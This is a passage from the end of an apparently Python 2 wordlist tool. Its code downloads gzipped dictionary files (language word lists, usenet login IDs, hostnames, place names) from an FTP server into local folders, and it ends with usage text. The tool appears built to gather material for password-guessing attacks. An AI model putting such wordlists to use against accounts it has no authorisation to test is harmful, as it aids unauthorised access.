1481 | ftp.retrbinary('RETR ' + 'usenet-names.gz', handleDownload) 1482 | filequitter() 1483 | 1484 | print '[+] files saved to '+ dire 1485 | ftp.quit() 1486 | exit() 1487 | 1488 | 1489 | if filedown == "25": 1490 | print "[+] connecting..." 1491 | ftp = ftplib.FTP(ftpurl) 1492 | downloader() 1493 | ftp.cwd('net') 1494 | if os.path.isdir('dictionaries/net/') == 0: 1495 | os.mkdir('dictionaries/net/') 1496 | dire = 'dictionaries/net/' 1497 | 1498 | file = open(dire+'hosts-txt.gz', 'wb') 1499 | print "\r\n[+] downloading hosts-txt.gz..." 1500 | ftp.retrbinary('RETR ' + 'hosts-txt.gz', handleDownload) 1501 | filequitter() 1502 | 1503 | file = open(dire+'inet-machines.gz', 'wb') 1504 | print "\r\n[+] downloading inet-machines.gz..." 1505 | ftp.retrbinary('RETR ' + 'inet-machines.gz', handleDownload) 1506 | filequitter() 1507 | 1508 | file = open(dire+'usenet-loginids.gz', 'wb') 1509 | print "\r\n[+] downloading usenet-loginids.gz..." 1510 | ftp.retrbinary('RETR ' + 'usenet-loginids.gz', handleDownload) 1511 | filequitter() 1512 | 1513 | file = open(dire+'usenet-machines.gz', 'wb') 1514 | print "\r\n[+] downloading usenet-machines.gz..." 1515 | ftp.retrbinary('RETR ' + 'usenet-machines.gz', handleDownload) 1516 | filequitter() 1517 | 1518 | file = open(dire+'uunet-sites.gz', 'wb') 1519 | print "\r\n[+] downloading uunet-sites.gz..." 1520 | ftp.retrbinary('RETR ' + 'uunet-sites.gz', handleDownload) 1521 | filequitter() 1522 | 1523 | print '[+] files saved to '+ dire 1524 | ftp.quit() 1525 | exit() 1526 | 1527 | if filedown == "26": 1528 | print "[+] connecting..." 1529 | ftp = ftplib.FTP(ftpurl) 1530 | downloader() 1531 | ftp.cwd('norwegian') 1532 | if os.path.isdir('dictionaries/norwegian/') == 0: 1533 | os.mkdir('dictionaries/norwegian/') 1534 | dire = 'dictionaries/norwegian/' 1535 | 1536 | file = open(dire+'words.norwegian.gz', 'wb') 1537 | print "\r\n[+] downloading words.norwegian.gz..." 1538 | ftp.retrbinary('RETR ' + 'words.norwegian.gz', handleDownload) 1539 | filequitter() 1540 | 1541 | print '[+] file saved to '+ dire 1542 | ftp.quit() 1543 | exit() 1544 | 1545 | if filedown == "27": 1546 | print "[+] connecting..." 1547 | ftp = ftplib.FTP(ftpurl) 1548 | downloader() 1549 | ftp.cwd('places') 1550 | if os.path.isdir('dictionaries/places/') == 0: 1551 | os.mkdir('dictionaries/places/') 1552 | dire = 'dictionaries/places/' 1553 | 1554 | file = open(dire+'Colleges.gz', 'wb') 1555 | print "\r\n[+] downloading Colleges.gz..." 1556 | ftp.retrbinary('RETR ' + 'Colleges.gz', handleDownload) 1557 | filequitter() 1558 | 1559 | file = open(dire+'US-counties.gz', 'wb') 1560 | print "\r\n[+] downloading US-counties.gz..." 1561 | ftp.retrbinary('RETR ' + 'US-counties.gz', handleDownload) 1562 | filequitter() 1563 | 1564 | file = open(dire+'World.factbook.gz', 'wb') 1565 | print "\r\n[+] downloading World.factbook.gz..." 1566 | ftp.retrbinary('RETR ' + 'World.factbook.gz', handleDownload) 1567 | filequitter() 1568 | 1569 | file = open(dire+'Zipcodes.gz', 'wb') 1570 | print "\r\n[+] downloading Zipcodes.gz..." 1571 | ftp.retrbinary('RETR ' + 'Zipcodes.gz', handleDownload) 1572 | filequitter() 1573 | 1574 | file = open(dire+'places.gz', 'wb') 1575 | print "\r\n[+] downloading places.gz..." 1576 | ftp.retrbinary('RETR ' + 'places.gz', handleDownload) 1577 | filequitter() 1578 | 1579 | print '[+] files saved to '+ dire 1580 | ftp.quit() 1581 | exit() 1582 | 1583 | if filedown == "28": 1584 | print "[+] connecting..." 1585 | ftp = ftplib.FTP(ftpurl) 1586 | downloader() 1587 | ftp.cwd('polish') 1588 | if os.path.isdir('dictionaries/polish/') == 0: 1589 | os.mkdir('dictionaries/polish/') 1590 | dire = 'dictionaries/polish/' 1591 | 1592 | file = open(dire+'words.polish.gz', 'wb') 1593 | print "\r\n[+] downloading words.polish.gz..." 1594 | ftp.retrbinary('RETR ' + 'words.polish.gz', handleDownload) 1595 | filequitter() 1596 | 1597 | print '[+] file saved to '+ dire 1598 | ftp.quit() 1599 | exit() 1600 | 1601 | if filedown == "29": 1602 | print "[+] connecting..." 1603 | ftp = ftplib.FTP(ftpurl) 1604 | downloader() 1605 | ftp.cwd('random') 1606 | if os.path.isdir('dictionaries/random/') == 0: 1607 | os.mkdir('dictionaries/random/') 1608 | dire = 'dictionaries/random/' 1609 | 1610 | file = open(dire+'Ethnologue.gz', 'wb') 1611 | print "\r\n[+] downloading Ethnologue.gz..." 1612 | ftp.retrbinary('RETR ' + 'Ethnologue.gz', handleDownload) 1613 | filequitter() 1614 | 1615 | file = open(dire+'abbr.gz', 'wb') 1616 | print "\r\n[+] downloading abbr.gz..." 1617 | ftp.retrbinary('RETR ' + 'abbr.gz', handleDownload) 1618 | filequitter() 1619 | 1620 | file = open(dire+'chars.gz', 'wb') 1621 | print "\r\n[+] downloading chars.gz..." 1622 | ftp.retrbinary('RETR ' + 'chars.gz', handleDownload) 1623 | filequitter() 1624 | 1625 | file = open(dire+'dogs.gz', 'wb') 1626 | print "\r\n[+] downloading dogs.gz..." 1627 | ftp.retrbinary('RETR ' + 'dogs.gz', handleDownload) 1628 | filequitter() 1629 | 1630 | file = open(dire+'drugs.gz', 'wb') 1631 | print "\r\n[+] downloading drugs.gz..." 1632 | ftp.retrbinary('RETR ' + 'drugs.gz', handleDownload) 1633 | filequitter() 1634 | 1635 | file = open(dire+'junk.gz', 'wb') 1636 | print "\r\n[+] downloading junk.gz..." 1637 | ftp.retrbinary('RETR ' + 'junk.gz', handleDownload) 1638 | filequitter() 1639 | 1640 | file = open(dire+'numbers.gz', 'wb') 1641 | print "\r\n[+] downloading numbers.gz..." 1642 | ftp.retrbinary('RETR ' + 'numbers.gz', handleDownload) 1643 | filequitter() 1644 | 1645 | file = open(dire+'phrases.gz', 'wb') 1646 | print "\r\n[+] downloading phrases.gz..." 1647 | ftp.retrbinary('RETR ' + 'phrases.gz', handleDownload) 1648 | filequitter() 1649 | 1650 | file = open(dire+'sports.gz', 'wb') 1651 | print "\r\n[+] downloading sports.gz..." 1652 | ftp.retrbinary('RETR ' + 'sports.gz', handleDownload) 1653 | filequitter() 1654 | 1655 | file = open(dire+'statistics.gz', 'wb') 1656 | print "\r\n[+] downloading statistics.gz..." 1657 | ftp.retrbinary('RETR ' + 'statistics.gz', handleDownload) 1658 | filequitter() 1659 | 1660 | print '[+] files saved to '+ dire 1661 | ftp.quit() 1662 | exit() 1663 | 1664 | if filedown == "30": 1665 | print "[+] connecting..." 1666 | ftp = ftplib.FTP(ftpurl) 1667 | downloader() 1668 | ftp.cwd('religion') 1669 | if os.path.isdir('dictionaries/religion/') == 0: 1670 | os.mkdir('dictionaries/religion/') 1671 | dire = 'dictionaries/religion/' 1672 | 1673 | file = open(dire+'Koran.gz', 'wb') 1674 | print "\r\n[+] downloading Koran.gz..." 1675 | ftp.retrbinary('RETR ' + 'Koran.gz', handleDownload) 1676 | filequitter() 1677 | 1678 | file = open(dire+'kjbible.gz', 'wb') 1679 | print "\r\n[+] downloading kjbible.gz..." 1680 | ftp.retrbinary('RETR ' + 'kjbible.gz', handleDownload) 1681 | filequitter() 1682 | 1683 | file = open(dire+'norse.gz', 'wb') 1684 | print "\r\n[+] downloading norse.gz..." 1685 | ftp.retrbinary('RETR ' + 'norse.gz', handleDownload) 1686 | filequitter() 1687 | 1688 | print '[+] files saved to '+ dire 1689 | ftp.quit() 1690 | exit() 1691 | 1692 | if filedown == "31": 1693 | print "[+] connecting..." 1694 | ftp = ftplib.FTP(ftpurl) 1695 | downloader() 1696 | ftp.cwd('russian') 1697 | if os.path.isdir('dictionaries/russian/') == 0: 1698 | os.mkdir('dictionaries/russian/') 1699 | dire = 'dictionaries/russian/' 1700 | 1701 | file = open(dire+'russian.lst.gz', 'wb') 1702 | print "\r\n[+] downloading russian.lst.gz..." 1703 | ftp.retrbinary('RETR ' + 'russian.lst.gz', handleDownload) 1704 | filequitter() 1705 | 1706 | file = open(dire+'russian_words.koi8.gz', 'wb') 1707 | print "\r\n[+] downloading russian_words.koi8.gz..." 1708 | ftp.retrbinary('RETR ' + 'russian_words.koi8.gz', handleDownload) 1709 | filequitter() 1710 | 1711 | print '[+] files saved to '+ dire 1712 | ftp.quit() 1713 | exit() 1714 | 1715 | if filedown == "32": 1716 | print "[+] connecting..." 1717 | ftp = ftplib.FTP(ftpurl) 1718 | downloader() 1719 | ftp.cwd('science') 1720 | if os.path.isdir('dictionaries/science/') == 0: 1721 | os.mkdir('dictionaries/science/') 1722 | dire = 'dictionaries/science/' 1723 | 1724 | file = open(dire+'Acr-diagnosis.gz', 'wb') 1725 | print "\r\n[+] downloading Acr-diagnosis.gz..." 1726 | ftp.retrbinary('RETR ' + 'Acr-diagnosis.gz', handleDownload) 1727 | filequitter() 1728 | 1729 | file = open(dire+'Algae.gz', 'wb') 1730 | print "\r\n[+] downloading Algae.gz..." 1731 | ftp.retrbinary('RETR ' + 'Algae.gz', handleDownload) 1732 | filequitter() 1733 | 1734 | file = open(dire+'Bacteria.gz', 'wb') 1735 | print "\r\n[+] downloading Bacteria.gz..." 1736 | ftp.retrbinary('RETR ' + 'Bacteria.gz', handleDownload) 1737 | filequitter() 1738 | 1739 | file = open(dire+'Fungi.gz', 'wb') 1740 | print "\r\n[+] downloading Fungi.gz..." 1741 | ftp.retrbinary('RETR ' + 'Fungi.gz', handleDownload) 1742 | filequitter() 1743 | 1744 | file = open(dire+'Microalgae.gz', 'wb') 1745 | print "\r\n[+] downloading Microalgae.gz..." 1746 | ftp.retrbinary('RETR ' + 'Microalgae.gz', handleDownload) 1747 | filequitter() 1748 | 1749 | file = open(dire+'Viruses.gz', 'wb') 1750 | print "\r\n[+] downloading Viruses.gz..." 1751 | ftp.retrbinary('RETR ' + 'Viruses.gz', handleDownload) 1752 | filequitter() 1753 | 1754 | file = open(dire+'asteroids.gz', 'wb') 1755 | print "\r\n[+] downloading asteroids.gz..." 1756 | ftp.retrbinary('RETR ' + 'asteroids.gz', handleDownload) 1757 | filequitter() 1758 | 1759 | file = open(dire+'biology.gz', 'wb') 1760 | print "\r\n[+] downloading biology.gz..." 1761 | ftp.retrbinary('RETR ' + 'biology.gz', handleDownload) 1762 | filequitter() 1763 | 1764 | file = open(dire+'tech.gz', 'wb') 1765 | print "\r\n[+] downloading tech.gz..." 1766 | ftp.retrbinary('RETR ' + 'tech.gz', handleDownload) 1767 | filequitter() 1768 | 1769 | print '[+] files saved to '+ dire 1770 | ftp.quit() 1771 | exit() 1772 | 1773 | if filedown == "33": 1774 | print "[+] connecting..." 1775 | ftp = ftplib.FTP(ftpurl) 1776 | downloader() 1777 | ftp.cwd('spanish') 1778 | if os.path.isdir('dictionaries/spanish/') == 0: 1779 | os.mkdir('dictionaries/spanish/') 1780 | dire = 'dictionaries/spanish/' 1781 | 1782 | file = open(dire+'words.spanish.gz', 'wb') 1783 | print "\r\n[+] downloading words.spanish.gz..." 1784 | ftp.retrbinary('RETR ' + 'words.spanish.gz', handleDownload) 1785 | filequitter() 1786 | 1787 | print '[+] file saved to '+ dire 1788 | ftp.quit() 1789 | exit() 1790 | 1791 | if filedown == "34": 1792 | print "[+] connecting..." 1793 | ftp = ftplib.FTP(ftpurl) 1794 | downloader() 1795 | ftp.cwd('swahili') 1796 | if os.path.isdir('dictionaries/swahili/') == 0: 1797 | os.mkdir('dictionaries/swahili/') 1798 | dire = 'dictionaries/swahili/' 1799 | 1800 | file = open(dire+'swahili.gz', 'wb') 1801 | print "\r\n[+] downloading swahili.gz..." 1802 | ftp.retrbinary('RETR ' + 'swahili.gz', handleDownload) 1803 | filequitter() 1804 | 1805 | print '[+] file saved to '+ dire 1806 | ftp.quit() 1807 | exit() 1808 | 1809 | if filedown == "35": 1810 | print "[+] connecting..." 1811 | ftp = ftplib.FTP(ftpurl) 1812 | downloader() 1813 | ftp.cwd('swedish') 1814 | if os.path.isdir('dictionaries/swedish/') == 0: 1815 | os.mkdir('dictionaries/swedish/') 1816 | dire = 'dictionaries/swedish/' 1817 | 1818 | file = open(dire+'words.swedish.gz', 'wb') 1819 | print "\r\n[+] downloading words.swedish.gz..." 1820 | ftp.retrbinary('RETR ' + 'words.swedish.gz', handleDownload) 1821 | filequitter() 1822 | 1823 | print '[+] file saved to '+ dire 1824 | ftp.quit() 1825 | exit() 1826 | 1827 | if filedown == "36": 1828 | print "[+] connecting..." 1829 | ftp = ftplib.FTP(ftpurl) 1830 | downloader() 1831 | ftp.cwd('turkish') 1832 | if os.path.isdir('dictionaries/turkish/') == 0: 1833 | os.mkdir('dictionaries/turkish/') 1834 | dire = 'dictionaries/turkish/' 1835 | 1836 | file = open(dire+'turkish.dict.gz', 'wb') 1837 | print "\r\n[+] downloading turkish.dict.gz..." 1838 | ftp.retrbinary('RETR ' + 'turkish.dict.gz', handleDownload) 1839 | filequitter() 1840 | 1841 | print '[+] file saved to '+ dire 1842 | ftp.quit() 1843 | exit() 1844 | 1845 | if filedown == "37": 1846 | print "[+] connecting..." 1847 | ftp = ftplib.FTP(ftpurl) 1848 | downloader() 1849 | ftp.cwd('yiddish') 1850 | if os.path.isdir('dictionaries/yiddish/') == 0: 1851 | os.mkdir('dictionaries/yiddish/') 1852 | dire = 'dictionaries/yiddish/' 1853 | 1854 | file = open(dire+'yiddish.gz', 'wb') 1855 | print "\r\n[+] downloading yiddish.gz..." 1856 | ftp.retrbinary('RETR ' + 'yiddish.gz', handleDownload) 1857 | filequitter() 1858 | 1859 | print '[+] file saved to '+ dire 1860 | ftp.quit() 1861 | exit() 1862 | 1863 | 1864 | 1865 | else: 1866 | print '[-] leaving.' 1867 | exit() 1868 | 1869 | 1870 | else: 1871 | print "\r\n[Usage]: "+sys.argv[0] +" [OPTIONS] \r\n" 1872 | print "[Help]: "+sys.argv[0] +" -h\r\n" 1873 | exit() 1874 | --------------------------------------------------------------------------------